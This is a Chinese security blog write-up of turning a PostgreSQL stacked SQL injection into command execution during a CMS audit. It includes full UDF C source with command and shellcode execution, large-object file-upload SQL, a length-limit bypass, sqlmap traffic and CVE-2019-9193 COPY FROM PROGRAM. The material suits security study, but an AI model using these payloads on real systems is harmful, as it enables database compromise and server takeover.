• 记一次Postgresql从堆叠注入到RCE


    本次研究过程来自一次某cms的代码审计实战,整个环境部署的相对较好,postgresql、web权限都有单独的用户管理,web目录不可写、服务器不能出网等限制。不过比较幸运的是所有的数据操作都是用同一个superuser权限的postgresql用户来执行的。

    限制

    审计发现某处存在postgresql堆叠注入,发现postgresql版本为9.2,不过有80个字符的长度限制。尝试使用sqlmap直接打失败,也是长度限制的原因。

    udfhack

    找了一下参考资料发现JF写的还不错:

    https://jianfensec.com/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/%E6%B8%97%E9%80%8F%E4%B8%AD%E5%88%A9%E7%94%A8postgresql%20getshell/

    postgresql从8.3开始支持多种编程语言扩展:PostgreSQL: Documentation: 8.3: Procedural Languages

    select * from pg_language;

    可查看当前支持的语言,如果是python之类的可以很轻松的用udf提权,参考:Hacking PostgreSQL | WooYun知识库

    比如postgresql支持plpython,则创建一个恶意函数:

    1. #!sql
    2. CREATE FUNCTION system (a text)
    3. RETURNS text
    4. AS $$
    5. import os
    6. return os.popen(a).read()
    7. $$ LANGUAGE plpython2u;

    然后select system('ls -la');即可。

    当然了一般来说postgresql默认只支持C,所以要自己传一个编译好的so库去创建可执行命令函数。

    源码可以用:https://github.com/sqlmapproject/udfhack/blob/master/linux/lib_postgresqludf_sys/lib_postgresqludf_sys.c

    默认是定义了一个sys_eval的函数去命令执行。为了减少长度,我这里改成s.

    1. #if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
    2. #define _USE_32BIT_TIME_T
    3. #define DLLEXP __declspec(dllexport)
    4. #define BUILDING_DLL 1
    5. #else
    6. #define DLLEXP
    7. #include
    8. #include
    9. #include
    10. #include
    11. #endif
    12. #include
    13. #include
    14. #include
    15. #include
    16. #include
    17. #if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
    18. DWORD WINAPI exec_payload(LPVOID lpParameter);
    19. #endif
    20. #ifdef PG_MODULE_MAGIC
    21. PG_MODULE_MAGIC;
    22. #endif
    23. char *text_ptr_to_char_ptr(text *arg)
    24. {
    25. char *retVal;
    26. int arg_size = VARSIZE(arg) - VARHDRSZ;
    27. retVal = (char *)malloc(arg_size + 1);
    28. memcpy(retVal, VARDATA(arg), arg_size);
    29. retVal[arg_size] = '\0';
    30. return retVal;
    31. }
    32. text *chr_ptr_to_text_ptr(char *arg)
    33. {
    34. text *retVal;
    35. retVal = (text *)malloc(VARHDRSZ + strlen(arg));
    36. #ifdef SET_VARSIZE
    37. SET_VARSIZE(retVal, VARHDRSZ + strlen(arg));
    38. #else
    39. VARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ;
    40. #endif
    41. memcpy(VARDATA(retVal), arg, strlen(arg));
    42. return retVal;
    43. }
    44. PG_FUNCTION_INFO_V1(sys_exec);
    45. #ifdef PGDLLIMPORT
    46. extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
    47. #else
    48. extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
    49. #endif
    50. text *argv0 = PG_GETARG_TEXT_P(0);
    51. int32 result = 0;
    52. char *command;
    53. command = text_ptr_to_char_ptr(argv0);
    54. /*
    55. Only if you want to log
    56. elog(NOTICE, "Command execution: %s", command);
    57. */
    58. result = system(command);
    59. free(command);
    60. PG_FREE_IF_COPY(argv0, 0);
    61. PG_RETURN_INT32(result);
    62. }
    63. PG_FUNCTION_INFO_V1(s);
    64. #ifdef PGDLLIMPORT
    65. extern PGDLLIMPORT Datum s(PG_FUNCTION_ARGS) {
    66. #else
    67. extern DLLIMPORT Datum s(PG_FUNCTION_ARGS) {
    68. #endif
    69. text *argv0 = PG_GETARG_TEXT_P(0);
    70. text *result_text;
    71. char *command;
    72. char *result;
    73. FILE *pipe;
    74. char *line;
    75. int32 outlen, linelen;
    76. command = text_ptr_to_char_ptr(argv0);
    77. /*
    78. Only if you want to log
    79. elog(NOTICE, "Command evaluated: %s", command);
    80. */
    81. line = (char *)malloc(1024);
    82. result = (char *)malloc(1);
    83. outlen = 0;
    84. result[0] = (char)0;
    85. pipe = popen(command, "r");
    86. while (fgets(line, sizeof(line), pipe) != NULL) {
    87. linelen = strlen(line);
    88. result = (char *)realloc(result, outlen + linelen);
    89. strncpy(result + outlen, line, linelen);
    90. outlen = outlen + linelen;
    91. }
    92. pclose(pipe);
    93. if (*result) {
    94. result[outlen-1] = 0x00;
    95. }
    96. result_text = chr_ptr_to_text_ptr(result);
    97. PG_RETURN_POINTER(result_text);
    98. }
    99. PG_FUNCTION_INFO_V1(sys_bineval);
    100. #ifdef PGDLLIMPORT
    101. extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
    102. #else
    103. extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
    104. #endif
    105. text *argv0 = PG_GETARG_TEXT_P(0);
    106. int32 argv0_size;
    107. size_t len;
    108. #if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
    109. int pID;
    110. char *code;
    111. #else
    112. int *addr;
    113. size_t page_size;
    114. pid_t pID;
    115. #endif
    116. argv0_size = VARSIZE(argv0) - VARHDRSZ;
    117. len = (size_t)argv0_size;
    118. #if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
    119. // allocate a +rwx memory page
    120. code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    121. strncpy(code, VARDATA(argv0), len);
    122. WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
    123. #else
    124. pID = fork();
    125. if(pID<0)
    126. PG_RETURN_INT32(1);
    127. if(pID==0)
    128. {
    129. page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
    130. page_size = (len+page_size) & ~(page_size); // align to page boundary
    131. // mmap an rwx memory page
    132. addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
    133. if (addr == MAP_FAILED)
    134. PG_RETURN_INT32(1);
    135. strncpy((char *)addr, VARDATA(argv0), len);
    136. ((void (*)(void))addr)();
    137. }
    138. if(pID>0)
    139. waitpid(pID, 0, WNOHANG);
    140. #endif
    141. PG_RETURN_INT32(0);
    142. }
    143. #if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
    144. DWORD WINAPI exec_payload(LPVOID lpParameter)
    145. {
    146. __try
    147. {
    148. __asm
    149. {
    150. mov eax, [lpParameter]
    151. call eax
    152. }
    153. }
    154. __except(EXCEPTION_EXECUTE_HANDLER)
    155. {
    156. }
    157. return 0;
    158. }
    159. #endif
    160. #undef fopen
    161. PG_FUNCTION_INFO_V1(sys_fileread);
    162. #ifdef PGDLLIMPORT
    163. extern PGDLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
    164. #else
    165. extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
    166. #endif
    167. text *argv0 = PG_GETARG_TEXT_P(0);
    168. text *result_text;
    169. int32 len;
    170. int32 i, j;
    171. char *filename;
    172. char *result;
    173. char *buffer;
    174. char table[] = "0123456789ABCDEF";
    175. FILE *file;
    176. filename = text_ptr_to_char_ptr(argv0);
    177. file = fopen(filename, "rb");
    178. if (!file)
    179. {
    180. PG_RETURN_NULL();
    181. }
    182. fseek(file, 0, SEEK_END);
    183. len = ftell(file);
    184. fseek(file, 0, SEEK_SET);
    185. buffer=(char *)malloc(len + 1);
    186. if (!buffer)
    187. {
    188. fclose(file);
    189. PG_RETURN_NULL();
    190. }
    191. fread(buffer, len, 1, file);
    192. fclose(file);
    193. result = (char *)malloc(2*len + 1);
    194. for (i=0, j=0; i
    195. {
    196. result[j++] = table[(buffer[i] >> 4) & 0x0f];
    197. result[j++] = table[ buffer[i] & 0x0f];
    198. }
    199. result[j] = '\0';
    200. result_text = chr_ptr_to_text_ptr(result);
    201. free(result);
    202. free(buffer);
    203. free(filename);
    204. PG_RETURN_POINTER(result_text);
    205. }

    然后用本地搭建的环境编译一下:

    gcc -Wall -I/usr/include/postgresql/9.2/server -Os -shared s.c -fPIC -o s

    bypass

    问题又回到了如何bypass80字符长度限制了,先来看看如果没长度限制是怎么弄的:

    这里写入是用了大数据对象写入二进制文件,将udf.so文件分割成每2048字节的块(且必须是2048),最后一个块的大小不满足2048字节不需要考虑.

    为什么不能小于2048?是因为在postgresql高版本处理中,如果块之间小于2048,默认会用0去填充让块达到2048字节所以上传的文件才会一直创建函数失败.

    1. SELECT lo_create(9023);尝试创建OID为9023的大对象
    2. insert into pg_largeobject values (9023, 0, decode('xxx', 'hex'));//2048字节
    3. insert into pg_largeobject values (9023, 1, decode('xxx', 'hex'));/2048字节
    4. insert into pg_largeobject values (9023, 2, decode('xxx', 'hex'));/2048字节
    5. insert into pg_largeobject values (9023, 5, decode('xxx', 'hex'));/可以不满2048字节,因为不满的会补0,elf文件末尾补0不影响正常运行
    6. SELECT lo_export(9023, '/tmp/testeval.so');//将对象导出文件
    7. SELECT lo_unlink(9023);//删除对象

    首先创建一个OID作为写入的对象,然后通过0,1,2,3…分片上传但是对象都为9023最后导出到/tmp目录下,收尾删除OID。

    然后导入自定义的恶意函数执行命令:

    1. CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
    2. select sys_eval('id');
    3. drop function sys_eval;

    一步一步来,首先是二进制文件写入时,除去最后一个块的长度可以稍微小点其他的都需要想办法压缩,这里我想到的是可以先存在表里面,然后在写入的时候在select取出来,这样的话长度是完全够的。

    比如:

    1. SELECT lo_create(9);//创建对象
    2. CREATE TABLE a(i serial PRIMARY KEY,c text);
    3. CREATE TABLE b(i int primary key,c text[]);
    4. //先建立两个临时表
    5. INSERT INTO a(i,c) VALUES ({cnt},'{data}');
    6. //每次往临时表a里写入16个的长度二进制字符串
    7. INSERT INTO b VALUES (1,(SELECT array_to_string(array_agg(c order by i) from a),''));
    8. //将字符串聚合起来写入临时表b中
    9. INSERT INTO pg_largeobject VALUES (9,{chunk_cnt},decode((SELECT c FROM b),'hex'))
    10. //按次序hex解码写入对象。
    11. //2048字节写入一次对象,然后重新开始。
    12. SELECT lo_export(9, '/tmp/s');//写入文件到/tmp目录
    13. SELECT lo_unlink(9);//删除对象

    然后是创建函数这:

    1. >>> len("CREATE OR REPLACE FUNCTION s(text) RETURNS text AS '/tmp/s', 's' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;")
    2. 137

    翻了一下文档,其实很多多余的可以直接去掉,直接压缩成:

    1. >>> len("CREATE FUNCTION s(text) RETURNS text AS '/tmp/s','s' LANGUAGE C")
    2. 63

    然后创建language c这种扩展函数必须得superuser权限才能创建。

    成功命令执行。

    SELECT s('touch /tmp/yuligesec');

    sqlmap的思路

    上面有说到过通过研究发现sqlmap是不能直接跑的,但是他的思路却是没啥问题可以直接用,大致和我的想法类似。来看看他的流量:

    1. CREATE TABLE sqlmapfile(data text);
    2. SELECT lo_unlink(8394);
    3. SELECT lo_create(8394);
    4. DELETE FROM pg_largeobject WHERE loid=8394--
    5. INSERT INTO sqlmapfile(data) VALUES ((CHR(102)||CHR(48)||CHR(86)||CHR(77)||CHR(82)||CHR(103)||CHR(73)||CHR(66)||CHR(65)||CHR(81)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(77)||CHR(65)||CHR(80)||CHR(103)||CHR(65)||CHR(66)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(48)||CHR(65)||CHR(48)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(66)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(69)||CHR(65)||CHR(65)||CHR(79)||CHR(65)||CHR(65)||CHR(71)||CHR(65)||CHR(69)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(69)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(70)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(74)||CHR(66)||CHR(85)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(107)||CHR(70)||CHR(81)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(73)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(81)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(89)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(111)||CHR(70)||CHR(81)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(67)||CHR(103)||CHR(86)||CHR(73)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(75)||CHR(66)||CHR(85)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(68)||CHR(103)||CHR(65)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(79)||CHR(103)||CHR(67)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(67)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(66)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(69)||CHR(65)||CHR(86)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)));
    6. UPDATE sqlmapfile SET data=data||(CHR(81)||CHR(66)||CHR(85)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(66)||CHR(65)||CHR(70)||CHR(83)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(78)||CHR(65)||CHR(66)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(48)||CHR(65)||CHR(69)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(73)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(81)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(69)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(85)||CHR(79)||CHR(86)||CHR(48)||CHR(90)||CHR(65)||CHR(81)||CHR(65)||CHR(65)||CHR(65)||CHR(67)||CHR(115)||CHR(69)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(75)||CHR(119)||CHR(83)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(114)||CHR(66)||CHR(73)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(66)||CHR(115)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(71)||CHR(119)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(66)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(66)||CHR(82)||CHR(53)||CHR(88)||CHR(82)||CHR(107)||CHR(66)||CHR(103)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65)||CHR(65));
    7. ...
    8. INSERT INTO pg_largeobject VALUES (8394, 2, DECODE((SELECT data FROM sqlmapfile), (CHR(98)||CHR(97)||CHR(115)||CHR(101)||CHR(54)||CHR(52))));
    9. ...
    10. SELECT lo_export(8394, (CHR(47)||CHR(116)||CHR(109)||CHR(112)||CHR(47)||CHR(108)||CHR(105)||CHR(98)||CHR(115)||CHR(109)||CHR(112)||CHR(121)||CHR(106)||CHR(46)||CHR(115)||CHR(111)));;

    很明显看出来是使用了||来做一个字符串加的作用,然后也是用的base64编码传入再解码,然后写入的地址是/tmp/libsmpyj.so,lib+5随机字符.so的形式。

    按照这个思路其实bypass没啥问题,只不过需要调整一下每次payload的字符长度,再加上又使用的base64,大大增加了写入文件的请求次数。

    rwctf2021-DBaaSadge

    比赛的时候刚好在做项目,没空看题,当时看到这个题就感觉和上述做的东西很像,后来看了一下dockerfile发现其实不一样,而且除了最后一步执行命令处,前期基本上毫无非预期,都是需要先爆破密码提升到superuser,然后再命令执行。

    参考:https://f1sh.site/2021/01/11/real-world-ctf-2020-dbaasadge-writeup/

    这个题是使用了mysql_fdw这个插件然后可以外连mysql,再从外部的mysql导入需要执行的语句从而bypass掉payload长度。

    然后又翻到:https://medium.com/bugbountywriteup/dbaasadge-writeup-61ebcdbe4357

    PostgreSQL: Documentation: 10: COPY

    如果postgresql版本在9.3以上的话可以直接用copy program去执行命令,也就是CVE-2019-9193:

    漏洞环境:

    ​​​​​​https://github.com/vulhub/vulhub/tree/master/postgres/CVE-2019-9193

    1. postgres=# CREATE TABLE cmd_table (dm_output text);
    2. CREATE TABLE
    3. postgres=# COPY cmd_table FROM PROGRAM 'id';
    4. COPY 1
    5. postgres=# SELECT * FROM cmd_table;
    6. dm_output
    7. ------------------------------------------------------------------------
    8. uid=101(postgres) gid=103(postgres) groups=103(postgres),102(ssl-cert)
    9. (1 row)

    开头有说过web目录不可写且不出网(静态文件也不可写),命令执行也没回显,后来解决是代码审计发现某个地方的验证码是从数据库某特定字段里面取的,所以只需要将命令执行的结果写入到特定字段到地方,再构造poc访问验证码页面拿到命令执行的结果图片ocr一下即可exp化。

  • 相关阅读:
    PyTorch模型定义 | 模型容器 | 模型块 | 修改模型 | 模型读取与保存
    openGauss内核:SQL解析过程分析
    Shellcode——绕过31
    三、数据仓库实践-拉链表设计
    使用WebSocket在Server类中无法使用Autowired注解进行自动注入
    vue列表导出word文档
    JZ2440笔记:热插拔驱动
    Websocket实现方式一
    【Python 之 Numpy】创建数组
    ffmpeg编译 Error: operand type mismatch for `shr‘
  • 原文地址:https://blog.csdn.net/why811/article/details/133951558